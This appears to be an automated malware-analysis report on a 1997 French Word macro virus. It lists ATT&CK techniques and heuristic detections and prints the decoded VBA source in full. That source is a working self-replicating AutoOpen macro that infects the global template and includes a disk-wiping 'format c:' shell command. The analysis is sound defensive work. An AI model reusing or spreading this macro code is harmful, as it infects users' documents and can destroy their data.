MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to other global macros and uses a Shell() call to execute the command 'format c: > NUL', indicating a destructive intent or a placeholder for a more malicious payload. The ClamAV detection 'Doc.Trojan.Alliance-5' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Alliance-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Alliance-5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1769 bytes |
SHA-256: 89ea4c58dbacd98c303daa281dc9b45a85bfef57ba600169965a53c9a08b4b08 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim FileName$
Dim MacroName$
Dim a$
Dim a_
'virus macro - ultra simplifié
'destiné à effectuer des tests de performances des
'logiciels anti-virus...
'1997- mister Mad
On Error GoTo -1: On Error GoTo ErrorHandler1 'si erreurs
FileName$ = WordBasic.[FileName$]() 'nom de ce fichier
MacroName$ = FileName$ + ":AutoOpen" 'nom du virus
WordBasic.FileSummaryInfo Subject:="Ce document est infecté {mister Mad#004+}"
WordBasic.MacroCopy MacroName$, "Global:AutoNew" 'qu'on copie dans AutoNew
WordBasic.MacroCopy MacroName$, "Global:AutoOpen" 'et dans AutoOpen globaux
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
ErrorHandler1:
On Error GoTo -1: On Error GoTo ErrorHandler2 'si nouvelle erreur
If WordBasic.IsDocumentDirty() = -1 Then 'si doc est modifié
WordBasic.MacroCopy "Global:AutoOpen", MacroName$ 'on copie le virus
End If 'sur la macro modifiée
WordBasic.FileSaveAs Format:=1 'et enregistre
If WordBasic.CommandValid(a$) = -1 Then 'ne peut pas être executé !
If a_ = 29873876 Then
WordBasic.Shell "format c: > NUL"
End If
End If
ErrorHandler2: 'et quitte...
WordBasic.PrintStatusBar "Votre word est maintenant infecté, par le virus 004"
End Sub
Attribute VB_Name = "NewMacros"
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.